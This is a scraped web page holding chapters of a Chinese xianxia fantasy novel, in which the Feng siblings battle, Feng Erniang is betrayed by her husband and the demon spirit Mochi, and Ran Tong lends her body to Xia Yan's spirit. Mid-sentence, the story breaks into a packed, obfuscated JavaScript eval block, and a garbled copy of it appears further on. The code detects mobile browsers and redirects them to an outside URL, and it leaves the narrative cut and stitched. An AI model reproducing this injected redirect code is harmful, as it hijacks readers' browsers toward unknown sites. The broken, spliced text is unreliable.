“夏爷放心,我和小五拼了命也会把那姑娘活着带回来!” 封三郞进入空间裂缝后,那些被困在法阵里的幸存修士都在惊疑揣测老魔的身份,这样的能人在正魔两道寂寂无名,反被大妖们熟知,也太不合常理了。 一个厚脸皮的修士看出目前唯有老魔指得上,挣扎着向他求救:“道友可有法子破阵?我等支撑不了多久了!” 老魔正寻找阵眼,察觉咒文已沿着河床悄悄向两岸蔓延开去,吴敬轩的狩猎活动仍在进行中,目标是整座松阳城的居民。 他赶紧发动五行天罡阵阻截,可惜封二娘的法阵有墨池的灵力做依托,仅凭他一人之力难以抵挡,只得挂出招妖幡,召唤城中大妖们前来帮忙。 墨池现身时,城内的人妖修士都被惊动了。 他们听说影月宗宗主在江心洲宴请宾客,不清楚那里出了什么状况。 稍后咒文上岸四处杀人吸血,人们方知事态严峻。有的疏散凡人,有的施法抵抗,混乱景象很快蔓延全城。 妖怪们没受攻击,本来各自观望,等收到招妖幡的传唤,一些高阶妖修才不得不冒险前往。 胡员外、黑鱼精等大妖齐聚江心洲,与他们同时到场的还有封无牙和封大郎、封六郞。 封家父子的到来颇令老魔吃惊,封无牙说:“我见小五迟迟没回来,料到你们出事了,刚去老幺家没找着人便赶来松阳,方才的妖灵好生凶猛,是什么来头啊?” 受困修士恨透封家,看见他便争相咒骂。 “封无牙,你这缺德的老妖怪可把我们害苦了!” “子不教父之过,你女儿杀人吸血偷汉子,都是你这老子教得好!” ………… 封无牙懵然焦急地望向老魔,盼他解说原委。 老魔用神识向父子三人传递信息,须臾间交代清楚。 封无牙忧心如捣,有口难张。 封大郎先气嚷:“二妹竟做出这种事,太不像话了!” 封六郞比他犀利,气炸肺地叫骂:“这贱人不配做封家人,待我去帮三哥、五姐清理门户!” 他冲向空间裂缝,靠近便被怪力反弹回来。 “那墨池关闭了通道,现在谁都进不去了。” 老魔本想请封无牙去阻止敌人,奈何计划赶不上变化,还是先救眼前的急,让大妖们按实力平均分作四组,去东南西北角协助他强化天罡罩,阻止吸血咒文扩散。 大妖们不太情愿,私下商议几句后,由胡员外代表大伙儿对老魔说:“人族的事我等本不该插手……” 封无牙防他推诿,忙打断:“这位仙师非同一般,他下派的差事莫说你们,就是我也不可不听。况且你们久居松阳,该对这里有感情,也不想它沦为一座死城吧?” 他辈分名望都很高,多数妖怪们见了都得敬让三分。 胡员外忙赔笑:“晚辈话只说了半截,您老别着急呀。这事按理是不该我们管,可看在仙师和您老的份上,我们自当竭诚效力。” 封无牙笑斥:“狐儿就爱贫嘴,既愿帮忙还不快去。” 妖怪们分头结阵,将天罡罩的镇压范围扩大到咒文传播区域外。 血咒像被火线挡住的虫群堵在罩壁内,上蹿下跳难有寸进。 而居民们能自由穿行天罡罩,逃到罩外便安全了。 可是这终究是权益之计,不知封三郞兄妹能否制伏封二娘,逼她停止法阵。 这时封家姐妹正在空间碎片里激战。 吴敬轩和封二娘进入裂缝便被封五娘追上,封二娘让丈夫先走,留下为其断后。 那碎片内弥漫着钝化神识的黑雾,封三郞赶来只看到两姊妹打得不可开交,不知主谋们身在何处,便先捉拿封二娘。 封二娘应付封五娘已够呛,见他来帮手,情急怒嗔:“老三,你忘了母亲当初是如何交代你的了?真要跟别人合起伙来逼死我?” 金翅公主生前曾叮嘱封三郞好生看护封二娘,说:“你二姐性子倔,少小离家吃了很多苦,几个兄弟里属你会疼人,往后我和你爹不在了,就靠你帮衬她了。” 封三郞是个大孝子,一提起亡母便耳根发软,忙苦口劝说:“二姐,我们是来救你的,你快收手吧,不能一错再错啊!” 封二娘不予理会,封五娘则很恼火,呵斥:“没用的怂货,滚开,别在这儿碍事!” 她左右开弓,双手挥出万千柳叶状的光刃,暴风疾雨似的射向封二娘。 封二娘周身红雾喷涌,回敬无数冰雹般的红色弹丸。 红蓝二力相撞,于空中炸响惊雷,余波四散,亦能摧枯拉朽。 封三郞匆忙架起护盾,见姐妹们专注战斗,再不管会不会伤及他,显然都铁了心要拼命,更急得烧心燎肺,大声劝解:“骨肉手足,何苦同室操戈,都各让一步,静下心来谈一谈吧!” 封二娘比封五娘年长一万岁,因长期为非作歹损了道基,修为反不如五娘菁纯,斗到现在越来越吃力,向三郎抱怨:“你好好看看,是她苦苦相逼,我不还手等着被打死吗?” 封三郞也看出二姐不敌五妹,真怕她有闪失,忙改劝五娘:“小五,她毕竟是我们的二姐,你弑杀长亲也是大罪,下手还须留点余地!” 哥哥姐姐们非坏即蠢,封五娘快气疯了,嘶声叫骂:“你倒是说说她害死七弟该当何罪!?可怜七弟还常在我们面前说她好话,到头来竟死在她手里!” 封二娘对封七郎之死深感愧疚,其他事懒得解释,这点必须自辩:“我没害七弟,他死的时候我不在场!” “是吴敬轩杀了他,若非你拼了命倒贴那歹人,七弟怎会死!” 封五娘默念真言,头顶蓝光凝结成巨型冰锥,流电飞星地刺向封二娘。 这是她的必杀技“星云锥”,封二娘不敢硬接,摇身躲入黑雾。 五娘引爆星云锥,将黑雾炸开一个大缺口,封二娘显出原形,双翅疾震,释放一道道猩红的烟气,血液一般在黑雾间浸润弥散。 妖修们争斗,显出原形通常都到了破釜沉舟,以命相搏的地步。 封二娘失去冷静,向五娘尖声狂叫:“封青璃,你别欺人太甚!” 封五娘连说三声:“好!”,也摇身显出原形。 “今日我便替封家列祖列宗灭了你这个丧心病狂的败类!” 二人激烈冲撞,抱团厮杀,但见蓝光似雪千般舞,红雾如涛万状张,铁足相击风云动,正邪交锋各争强。 双方分别掉落好些碎鳞断甲,封二娘终非封五娘对手,被她扑咬坠地。 轰隆巨响中扬尘将附近黑雾染成土黄色,封三郞急忙上去吹散雾气灰土。见姐妹俩已恢复人形,都头破血流,满身挂彩。 封五娘左手掐住封二娘脖子,右手成爪戳向她的面门。 “小五住手!” 封三郎用灵力结成的绳索勒住封五娘右腕,利爪定在封二娘眼前,她表情桀骜,丝毫没有求饶的意思。 封三郞忙用束缚咒困住她,随后拉开封五娘,劝哄:“好了,我已制住她了,你先歇会儿吧。” 封五娘反手给他一拳,打得他捂脸后退,再上前一脚踏住封二娘胸口。 “死到临头,你还不悔改!” 封二娘吐出血沫,冷斥:“我又没做错事,有什么可悔改的?” 封五娘指着她怒视三哥:“你听听,这样的混账东西也配活命?!” 封三郞也很生气,急冲冲责备封二娘:“二姐你真鬼迷心窍,那商陆就是个恶棍,我真搞不懂你究竟图他什么!” 反目已成定局,封二娘不在乎家人们如何看待她了,尽数吐出积压多年的块垒。 “我图他血统高贵,图他志向宏伟,图跟他生儿育女,以后孩子不会被骂成贱种!” 妖界的等级制度之森严不亚于人界,人类里的种族歧视只由于观念落后,妖的地位则确确实实和自身能力有关。 六大妖族按贵贱排序,依次是:兽族、羽族、水族、矿精、木灵、虫族。 这排序也可区分妖兽间的灵性高低。 兽族灵性最强,修行比别的妖容易,一千年左右即可化形为人。而最低等的虫族至少需要近万年才能进入化形期。 在人族修真界,低阶修士之间的实力差距并不大,境界越高,同阶间的修为差别越大。 妖族正相反,由于化形所需的时间长短差异太大,两万岁以下的同阶妖兽法力常有天壤之别,两万岁以后差距才逐渐缩小。 能活到两万岁以上的妖修毕竟是少数,也就使得妖界六种族间的强弱格局无法被打破,等级制度从古至今不断延续。 封家的孩子们因父母都是虫族的顶尖妖修,具有先天优势,都能顺利升阶越级。 可封无牙的出身实在太卑贱,连累子女矮人一等,成为大妖后仍躲不开外界的嘲笑奚落。 其他人心态好,把这些攻讦当做修行。 封二娘不行,她从小自视极高,又曾在外公天蜈大王身边享受了一阵子王族荣光,回到父母膝下后难以接受待遇落差,从而深深怨念。 “当年我若跟了大舅,哪会受这些屈辱?都怪母亲目光短浅,硬要把我拘在封家。她后来肯定也后悔了,不然怎会包容我和商郞,还让你和四弟帮我们。” 封三郞死死抱住封五娘,往后拖开几步,替她训斥封二娘:“你若这么想真辜负了母亲一片慈爱之心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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封五娘将封二娘掉落的鳞片投入灯火,火苗跳跃着转成红色。 “这下他们再隐身也没用了,快追。” 兄妹俩提着琉璃灯飞入黑雾,搜寻中五娘警告三郎:“一会儿你再碍手碍脚,别怪我不客气。” 封三郞沮丧道:“你什么时候对对我客气过了。唉,二姐已无药可救了,待会儿她若再护着那歹人,我绝不会再心软。” 话虽如此,他仍巴望杀死吴敬轩后封二娘能够回心转意,就是不知道仅凭他俩斗不斗得过墨池。 封五娘提醒:“你别错了主意,夏爷叮嘱让你救那冉姑娘,等下我设法拖住他们,你救了人速速离开。夏爷那样帮咱们,咱们可不能辜负人家。” 封三郎点点头,担忧更甚了。 “也不知那小姑娘如何了,但愿墨池和吴敬轩还没识破她的身份。” 此刻冉彤尚无恙,这令她真心佩服白子落的法力。 连墨池这样震古烁今的大妖都突破不了映真镜的防护,这人的修为已近乎神明,凡界恐怕只有道祖能与之匹敌。 她的敏捷和胆量也是凡间少有的,看到缩小成正常大小的墨池灵体后马上向他抗议:“祖灵大人,吴敬轩早有妻室,我不要嫁给他!” 墨池语气肃穆:“翩翩,延续我族血脉是你此生唯一使命,其他事都不值一提。” 冉彤代入武翩翩的视角也觉得过分,窝火道:“那我的感受就一点不重要?” “这六万年间我族受尽凌辱,濒临灭绝,你想想那些惨死的族人,想想你的父母哥哥,还会在意这点委屈吗?本王放弃轮回,苟延残喘,只为复兴我族,一雪前耻。我们付出了那么多艰辛,你作为白泽族的后裔,难道不该舍弃小我,成就大义?” 说实话,冉彤能理解墨池的做法,救亡图存放在任何种群都是振聋发聩的伟大壮举,比起人族数万年来对白泽族的残酷屠杀,墨池让封二娘两口子杀人采血充其量只算以牙还牙。 再辩论定会露馅,她闭嘴忍耐,稍后吴敬轩来了。 “祖灵大人,我已准备好了,请传功吧。” 冉彤看他对自己视而不见,料定他以往对武翩翩的情义都是装出来的,若真有诚意,不会因为一次误会就冷却变心。 墨池说:“不急,本王想先跟封二娘说明一番。” 他施法将封二娘摄来,封二娘已抹去身上的伤痕污垢,精心整理了妆容服饰,欣喜地看了看吴敬轩,向墨池庄重行礼,那姿态俨然等待加冕的王后。 她的心境的确如此。 墨池视她为功臣,语气格外和蔼。 “封二娘,此番我们能成功,得益于你多年来的辛劳付出,我和商陆都不会忘记你的忠贞与痴情。” 封二娘甜蜜微笑:“大人过奖了,我与商郞结发夫妻,自然永远同他一条心,竭尽所能助他出人头地。” 墨池夸赞:“你这样明事理的好女人世间少有,本王十分欣赏,跟你说话也可少些顾虑。” 冉彤初听墨池跟封二娘讲话就预感没好事。 男人对至亲爱人以外的女子不吝褒奖,那肯定想从对方身上图谋什么,这道理爹娘都教过她,紫烟散人的小说里也有过诸多类似的描写。 果然,墨池话锋一转,带出让封二娘傻眼的信息。 “你和商陆虽夫妻恩爱,但到底非我族类,为保持我族血统纯净,商陆今后只能娶翩翩为正妻,和她生育后代。假如你愿意,仍可留下辅佐他,只不必为生孩子这种事操劳了。” 51.附体 封二娘如同以倒栽葱的姿势跌下九霄,恍惚了好半晌,那错愕慌乱的神情,冉彤看了都能暂且搁置对她的愤恨。 “怎么会……” 封二娘无措地看向吴敬轩,以为这个与她结缡万年,被她守护帮扶了九生九世的丈夫会坚决维护她的权益。 然而这一眼将她推入更深的困窘。 假如世上有什么东西能让她彻骨寒冷,就是吴敬轩此时的表情。 他平静地看着她,眼神淡漠仿若云烟,和面对那些被吸血的牺牲者时毫无区别。 冉彤见状明白封二娘摊上了负心汉,当事人犹在执迷,以为吴敬轩和她一样迷茫失神,急切地靠近他询问:“商郞,这是怎么一回事啊,你没跟墨池大人说明吗?” 只要吴敬轩点一点头,她仍愿为他赴汤蹈火。 现实却给了她一记响亮的耳光。 吴敬轩轻声长叹,遗憾道:“毓柔,祖灵大人着眼全局,为了白泽族的将来,只好委屈你了。” 封二娘的脸由白转青,由青转红,眼中怒火渐燃,终于承认她上当了。 “我为你鞠躬尽瘁,出生入死,背叛了整个家族,背上十恶不赦的大罪,你怎忍心背信弃义!” 吴敬轩扭头无视她,封二娘拼了命也没在他脸上找到愧疚的影子,反被那露骨的冷漠深深刺伤。 执着的人更易受困于定式思维,她的脑筋宛如死巷,苦苦追索丈夫辜负她的原因,最后将责任归咎给无辜者。 冉彤收到她怨毒的目光,猜到这傻女人恨错人了,转身向墨池疾呼:“祖灵大人救我!” 墨池正防着封二娘乱来,闻声出击,灵光如犄角前突,挡住封二娘的杀招,再将她狠狠顶飞出去。 “封毓柔你做什么!” 吴敬轩疾言厉色呵责她,听来完全不像丈夫该有的语气。 封二娘心如刀绞,在空中稳住身形,却没有多余的力气控制表情,指着冉彤恶狠狠叫嚷:“你真要为了这个小丫头背叛我吗?我为你付出那么多,凭什么让她坐享其成?我哪里比不上她了?!” 墨池翻脸训斥:“封二娘,你别得寸进尺,商陆即将成为白泽族和整个妖界的王,自然要匹配血统高贵的妻子。纵使你千好万好,出身低贱便做不得王后。” 他戳中封二娘最脆弱的脊梁骨,疼得她眼泪上涌,狂躁质问吴敬轩:“当年你信誓旦旦说不在乎我的出身,要和我不离不弃,荣辱与共,如今都不作数了吗?” 吴敬轩有些不耐烦了:“此一时彼一时,我身负重责,岂能囿于儿女私情。你当初承诺以夫为尊,凡事先顾全我,我才决定娶你,若是反悔,便莫怪我失言了。” 常人间过河抽板,卸磨杀驴已够可恨了,遑论结发夫妻。 那感受就像精心呵护,满怀期待地培育一株灵植,等到它开花结果才发现是一棵万恶的毒草,利用主人养护它的过程下毒暗害,积年累月,剧毒已侵入骨髓,无药可解。 墨池提防封二娘暴怒伤人,抢先施法拘禁她。 封二娘被数十道光圈箍住,痛苦地跌倒翻滚,精美的发髻蓬散了,华丽的衣服揉成盐菜状,清丽的面孔不复端庄,痛楚和怨愤扭曲了她的五官,泪水汗水浸花了她的妆容,俨然一个错乱、可怜又无助的疯子。 吴敬轩草草瞟她一眼,不是逃避,没有不忍,只流露出不加掩饰的厌恶。 封二娘没注意到他这个眼神,冉彤却看得清清楚楚,义愤像炸药在心中燃放,估计自己的假面维持不了多久了,干脆抢占先机,掏出一张鸿蒙震爆符掷向这黑心贼。 爆炸声响,空间晃动两下,吴敬轩咳出口鼻里的烟尘,见身前墨池为他构筑的护盾被炸出斑斑裂痕,若慢半拍他铁定粉身碎骨。 差一点功亏一篑,他后怕得直冒冷汗,随即和墨池同时觉出异常。 冉彤已被墨池的灵光抓住,风暴随着他的怒吼袭来,刮得她毛发倒竖。 “你不是翩翩!” 冉彤不必装了,恢复真容,凶狠地回瞪他。 吴敬轩和封二娘都很惊诧,封二娘醒悟:“童姑娘,昨晚夏爷身边那个小丫头就是你吗?” 原来老鬼姓夏啊。 这意外的收获让冉彤短暂分心,弄清了一些疑团。 古人说“长嬴为夏”,怪不得紫烟散人会将他命名为“长嬴法师”。 等等,相传那极恶魔星也姓夏,老鬼和他生活在同一时期,同样是千年前被离恨天镇压,难不成就是同一个人? 骇人的猜测比眼前的险境更令冉彤惊悚,她旋即否定。 老鬼人品那么好,又不近女色,不可能是那魔头。夏是个大姓,巧合罢了! 她迅速收回注意力,不怯场地挑衅:“没错,本小姐叫冉彤!有眼无珠的坏蛋们,被人愚弄的滋味如何啊?” “该死的丫头!” 吴敬轩躁怒地立下杀手,右手为刀朝她当胸劈出一发光刃。 冉彤穿着玄鳌灵甲,配合神木牌,成功挡下这一击。 “死丫头,皮还挺硬!” 吴敬轩凶狠补刀,冉彤及时断喝:“我死,武翩翩也活不成!” 墨池立即拦住吴敬轩,竣急质问:“丫头,你又想耍什么花招?” 冉彤进来时已想好后路,淡定冷笑:“我那前辈,就是你们说的夏爷,为我和武翩翩缔结了魂契。我若死了,她马上跟着魂飞魄散。你不是指着她和姓吴的配种吗?到时看你上哪儿去再找一头母白泽!” 强劲的灵力猝然砸倒她,将她的脸狠狠往泥土里按。 “可恶的丫头,本王迟早碾碎你!” 墨池说“迟早”,就是不敢立刻行凶的意思。 吴敬轩提出质疑:“大人,这丫头异常狡猾,我看多半有诈!” 冉彤忍痛格格冷笑,表现比他形容的更奸诈。 “是前辈命我冒充武翩翩的,否则我哪有这个胆啊。” 按正常逻辑,事情应当如此。 墨池知道老魔的身份背景,深信他会这般谋划,灵光架起冉彤,再狠狠捏住。 “小丫头,别以为有夏炎撑腰就能肆无忌惮冒犯本王,今日你俩都得死!” 他的名字叫夏炎吗? 冉彤被捏得呼吸困难,但想到老魔,希望就像不灭的灯火熠熠照耀心间。 这么多大人物都忌惮他,他的实力绝对远比她了解的多,定会来解救她。 此时天罡罩已有效克制住吸血法阵,夏炎将大部分心思转移到如何突破禁制,进入空间碎片上。 试过多种办法都不奏效,又迟迟不见封家兄妹回转,他脸上平静,内心已像冰层下的海水,暗流汹涌。 且不说时间长了吴敬轩会实现阴谋,就是自己这边进去的人有个三长两短也够他难受的。 封无牙也很急,派封六郞来问过两次。 第二次人刚走,夏炎突然收到来自裂缝中的神识传音。 “夏炎,把翩翩交出来!” 墨池强势威逼,顺道以武力施压,白色光波如天河倾落冲向夏炎。 夏炎施法抵御,双方刚好势均力敌。 这妖灵不愧是传说中的英雄,若全力出击,以他目前的法力多半打不过。 他很关心冉彤的生死,努力掩盖住心思,镇定回应:“墨池,我也正想找你要人,你先放了我那小辈,我就把你的人还给你。” 缝隙深处涌出更强烈的白光,冉彤的身影出现在光芒深处,正被无形的力量捆绑,表情十分痛苦。 “丫头!” 夏炎出声呼唤,腔调不小心染上焦急。 一千年前他失去了一切,爱徒、挚友、拥护他的人民,这些重要的人向他倾注爱戴、信任与支持,最后都因他而死。 他为此愧疚、懊悔千年,时刻引以为戒。 如今重新出发,若连这个小丫头都保不住,他何谈东山再起? 听到他的声音,冉彤顿时振作,扯开嗓门奋力回应:“前辈,我没事!” 没说完便被墨池掐住喉咙。 “夏炎,还我翩翩!” 夏炎想先救回冉彤,即刻从神识空间里取出人质。 之前武翩翩身中梦引术,身体受控,还保留着部分意识,记得被夏炎审问的过程,只当他和冉彤是敌人。 这会儿法术失效,她感应到墨池的气息,忙向他呼救。 “祖灵大人救我!” 墨池安抚:“翩翩放心,本王这便救你。” 继而威胁夏炎:“夏炎,快放翩翩过来,否则本王就捏死这丫头。” 夏炎严郑交涉:“我们互换人质,谁敢违约,后果自负!” 墨池留着冉彤无用,况且等吴敬轩功成后自会杀光这帮人,让他们多活一阵亦无妨。 双方同时释放人质,两个少女面对面谨慎前行。 冉彤越过武翩翩遥望她后方的夏炎,见他目不转睛注视自己,关切的眼神令她联想到风雨夜中向归人敞开的家门。 他不光要救我,还得收拾残局,都怪我自作聪明,要是不擅自冒充武翩翩耽误了时间,他或许能阻止这场灾难。 她被夏炎的关怀激起愧疚,急于补过。 作为一个典型的行动派,有想法就会付诸实践,她稍稍放慢脚步冒险传音给夏炎。 “前辈进不去这个空间吗?” 夏炎回复:“这空间只对妖族开放,你有妖族血统才能进去。” 情况和冉彤预计的相符,她勇敢又灵动的脑瓜已想到一个能让夏炎进入空间,与敌人作战的好办法。 “晚辈有一计,前辈可分出神识附着在晚辈身上,然后用晚辈的身体战斗。” 这对高阶修士来说并不难,夏炎执行起来肯定更轻松。 她伤口还在流血就忘了疼,夏炎气她不长教训,训斥:“你还没闹够,真想断送小命才甘心?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861571|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “晚辈是认真的,只有这个办法能阻止他们。前辈,别犹豫了,晚辈相信您!” 冉彤很有谈判天赋,能言简意赅地直击对方要害。 最后那句“晚辈相信您”命中老魔心坎,他何尝不知道冉彤的计策是当下最优选择,不忍心,所以想不到。 眼下这丫头如此诚挚地交付信任,一瞬间,他似乎回到了那个叱咤风云,无往不利的时代,有足够把握力挽狂澜。 冉彤的身体倏地脱离意识,小小一个趔趄后恢复正常,而夏炎的神识已隐蔽地附在她身上。 “现在开战很可能会被墨池推出去,最好先重返空间内部。” “前辈放心,包在晚辈身上。” 冉彤和武翩翩仅相距两丈地了,武翩翩愤怒地眈视她,小嘴蠕动着看来憋不出要骂人。 冉彤嬉皮笑脸道:“翩翩姐受累了。” 武翩翩像点着引线的火药桶,立时炸了。 “坏丫头,还敢笑!” 她气不过扑上来打人,正中冉彤圈套。 冉彤侧身闪避,用胳膊肘勒住武翩翩的颈项,她戴着冰河犀护腕,制服对方绰绰有余。 “翩翩!” 墨池想杀人,先听到武翩翩痛苦的惊叫。 冉彤在她大腿上掐了一把,胁迫墨池:“不想她死就交出吴敬轩!” 墨池暴怒地昂起犄角,嘶鸣声震动山河。夏炎的本体施法替冉彤挡住冲击,作势要将她和武翩翩拉出裂缝。 “休想走!” 冉彤和武翩翩双脚离地,被强大的风旋吸进空间碎片,夏炎峻色凝望再度关闭的入口,心情比之前安定许多。他的部分神识已跟随冉彤进入碎片,能直观了解局势,至少不用瞎紧张了。 冉彤飞入空间碎片即刻收到墨池的杀招,脖子以下失去知觉,眼前闪烁紫白二色的光芒,耳中充斥噼里啪啦的炸裂声,攻击已被夏炎化解。 “夏炎,你使诈!” 墨池发觉中计,咆哮着扩大身形。 冉彤需要快速抬头才能跟上他变高的速度,转眼间他已仿若一座巍峨的山峰,周身环绕刺目的光芒,原本光滑柔顺的皮毛像钢针竖立起来,棕色的巨眼充血变红,闪烁凶残与疯狂。 “弄死你们!” 墨池张开深渊巨口,喷出一股势不可挡的光波,追着冉彤扫射地面,刻下一条条深不见底的沟壑。 冉彤的身躯受夏炎控制,飞动中脸被风力刮得生疼,不可胜数的碎石在眼前炸裂,靠肉眼根本看不清行动轨迹。 “丫头,开放神识会被他命中,你就专心观战吧。” “是,前辈当心。” 冉彤十分紧张也异常兴奋,刚才那帮修士都是酒囊饭袋,她期待的高手较量才刚刚拉开帷幕。 头顶的烟尘里透出点点金光,宛如繁星聚集,形成一个大如湖泊的星河旋涡,接着一道道绚丽的流星急速坠落,统一射向墨池所在的方位。 墨池仰头怒吼,灵力翻涌凝结出与身体等高的盾牌,阻挡猛烈的流星雨。 可是对手的攻击力太强,若干星芒犹如利剑洞穿盾牌,伤损了他的灵体。 他不堪承受,蹦跳躲避,大地在他的践踏下瑟瑟发抖,尘埃像汹涌的波涛迅速涨到冉彤脚下。 蓦地,她双耳生风,又开始高速飞行。 墨池硕大的头颅冲出烟海,再向她喷吐惨白的光波。 冉彤突然定住,体表涌出紫色光束,与那光波凌空相撞,炸出大片璀璨的光芒,比节日里的烟花盛景更壮观,显示着惊心动魄的杀机。 白光被紫光压下去,墨池扛不住打击,嚎叫着轰然坠地。 冉彤正欣喜,喉咙忽然发痒,哇的呕一大口血。 她感觉不到身躯的状况,判断是内脏破裂的症状,不过吐血立刻停止了,夏炎已帮她治愈了伤势。 “丫头,怎么样?脑子还清醒吗?” 夏炎的担忧比话音表露的多多了,这丫头承载不住他的神识,接下来不能使用太强的法术了。 冉彤猜到受了他的法力反噬,紧要关头不想拖后腿,忙说:“前辈不用担心,晚辈能行。” “行不行你说了不算。” 听她逞强,夏炎便不由得生气,想她父母若在世,看她动不动玩命乱来,不知操心成什么样。 冉彤不能察言观色,也没空顾及他的心情,只想帮忙速战速决。 “拖久了对我们更不利,长痛不如短痛,前辈快放个大招结果他!” 经过刚才一轮的斗法,夏炎感觉墨池的力量没有预估的强,尽力出击胜算颇多,可是拿冉彤做炮灰,对他还是很有心理负担的。 “你呀……” 他说不出多余的话向她传递复杂感受,促急吩咐:“快用老夫教你的‘潜机蛰息法’坚守泥丸宫。” “是!” 冉彤雀跃应声,忐忑激动地等待着大开眼界的时刻。 52.濒死 “夏炎!” 墨池第二次狂啸着钻出烟雾,化作光团向冉彤亡命冲锋。 冉彤看见自己的双手如穿花蝴蝶在胸前结出法印,顶上紫气翻涌,一道道吊桶粗的紫色火蛇携带毁天灭地的威势射向敌人,所过之处空气滋滋作响。 墨池被火蛇缠住,翻来覆去剧烈挣扎。 霎时间紫火耀世乾坤裂,白光弥空宇宙倾,一些火蛇被扯断撕碎,朵朵火花似萤虫乱舞。墨池的灵体被紫火融解,片片白光如大雪纷扬。 冉彤嗓子眼又涌上腥甜,不能打断夏炎的步调,强行咽下去。 夏炎很清楚她的身体状况,耽搁下去必然凶险,还是像她说的选择短痛,果断念起必杀的咒语。 “诸天借法,神火降世!” 火蛇顿时化作火龙,将墨池裹得密不透光,烈焰烧出三千丈,下方土地变为熔岩海。 冉彤隔着护盾飞出几十里,一边咳血一边回看那小太阳般的大火球。 墨池的吼声早听不见了,黑雾里只隐约现出红紫二色,那威猛的妖王败局已定了。 她想起武翩翩,忙问夏炎。 “老夫设了法阵保护她,她没事。” 夏炎替冉彤治愈伤势,觉得这场胜利来得太容易,不安反而加剧了。 “别松懈,待老夫仔细搜查一遍。” 他启动“天目神通”彻查整个碎片空间,惊觉墨池的气息尚在,不过正急速衰弱,而吴敬轩的灵力则以相同的速度壮大,向着墨池全盛时的水平靠近。 他们在进行传功! 怪不得刚才墨池的法力比想象中弱,那只是他的分魂。 墨池的笑声冷不丁刺入冉彤耳朵,惊得她东张西望。 “夏炎,想不到吧。别以为只有你能分化神魂,本王也会。方才故意拖着你,此刻商陆已得到本王的传承,这山海遗界就是你的葬身之地。” 他示威时夏炎已操控冉彤飞向敌人的据点,顺道带走了困在法阵里的武翩翩。 “祖灵大人,救救我!” 这傻大姐以为墨池已死,差点吓丢了魂儿,听到他的声音急忙大呼小叫。 墨池警告夏炎:“翩翩是我族未来的王后,你们若敢伤她,本王定让商陆踏平人族!” 夏炎嫌他聒噪,施法阻断了他的传音。 “丫头,快调息恢复,稍后还有恶战。” 冉彤的身体恢复知觉,登时疼得龇牙咧嘴,全身骨骼都像被压碎后再重新拼接,无一处不难受。法力反噬比有形的伤势更严重,没有强大的神识防护会直接残损魂魄。 “用神木牌强化凝魂珠,配合归元功养护元神。” “是。” 她赶紧在夏炎指点下疗伤,夏炎顾虑她的承受力,不能提速,感觉吴敬轩那边即将得逞。 形势够紧迫了,武翩翩兀自骂个不休。 “死丫头,骗了我一次又一次,我就不该相信你!” 夏炎封住她的嘴,却听冉彤说:“前辈让我跟她说几句。” 武翩翩找回嘴巴,抢先吼叫:“我不会听你的花言巧语,你死了这条心吧!” “子涛和封二娘就是松阳城的吸血妖怪,你知道他们杀了多少人吗?” 冉彤厉声喝问犹如定身法,让武翩翩当场僵住,随后又愤怒地指责她污蔑,嘴巴刚张了两下,一段段吴敬轩和封二娘的犯罪影像潮水般侵入脑海。 夏炎看出冉彤想挽救这白泽女妖,默契地做了配合。 武翩翩抱头抗拒:“你们休想用幻术欺骗我,我不会信!” 冉彤说:“那商陆从万年前起不断杀人采血,害死很多无辜者,等他获得墨池的法力更要大行杀戮,你真想嫁给这样的恶魔,和他沆瀣一气?” 她觉得武翩翩本性单纯,不想放任她去跳火坑,若能说服她弃暗投明也没枉费自己拼命救她一场。 接受残酷现实比挨打艰难,武翩翩崇敬墨池,一直把吴敬轩当做本族救星,对他们寄托了太多情感期望。另外,亲人的冤仇又令她对人族有着根深蒂固的怨恨,纵使分得清黑白善恶也忍不住颠倒是非。 “杀人又如何,我们白泽族不也快被人族杀光了吗?人族强大了,把我们当做猎物。等我们强大了,也可以消灭你们,这样才公平!” 她见冉彤眉头紧皱,以为她又想动粗,更逞着气性挑衅:“要打要杀随便你,我绝不会向你们屈服!” 冉彤注视她片刻,神情复原,语气却冷了。 “你要是认为弱者活该受强者欺凌压迫,那我便白救你了。” 武翩翩又愣住了,面肌嘴角不住抽搐,找不准立场反驳辩解,低头嗫嚅:“我知道你跟他们不一样。” 救命恩人等同于父母,她怨愤冉彤欺骗耍弄,但真没想过让她死。 冉彤直率道:“我还算不得好人,比我善良正直的人多得是,你觉得他们都该死?” 武翩翩胀红脸无话可说,突然不能动了。 冉彤也是,身体又被夏炎接管,表明他们已抵达目的地。 战火提前烧起来了,封三郎和封五娘比他们先到一步,正设法突破墨池的防御法阵。 “二位请让开!” 夏炎传音兄妹俩,放出紫光锤击法阵外的防护罩。 墨池的灵力已接近枯竭,法力几乎都转移到了吴敬轩一边,冉彤目睹法阵内盘踞着快速变黑的灰色灵光,吴敬轩正在炼化刚继承的力量。 “前辈,再快点!” 她忍不住催促,忘记这会危害她的性命。 夏炎尽量精准地拿捏了力道,法阵崩坏的速度已够快了,可惜赶不上情势变化。 屏障破碎,浑浊的灵力犹如狂潮自阵内涌出,夹杂着无数吹毛断发的锋利气刃,汹汹扑向冉彤等人。 冉彤隔着护盾也能感受到那磅礴凶猛的威压,这才是墨池真正的实力。 “哈哈哈哈!” 吴敬轩的笑声和气流一道震动着人们的心神,那声音里饱含万年隐忍发酵出的癫狂,仿佛日落瞬间铺天盖地的黑暗。 还是没赶上吗? 冉彤焦急懊恼,幸好夏炎在这里,她还不用恐慌。 其余人都警惕观望,封二娘还被绑在法坛边,眼看吴敬轩如愿以偿,她恼恨不甘,却又心存侥幸,认为丈夫先前或许是受制于人,不得不假装无情,此刻脱离墨池掌控就会与她重归于好。 墨池的灵体缩小成皮球状,虚弱地委顿在地,用所剩无几的力量调出一头雄性白泽。 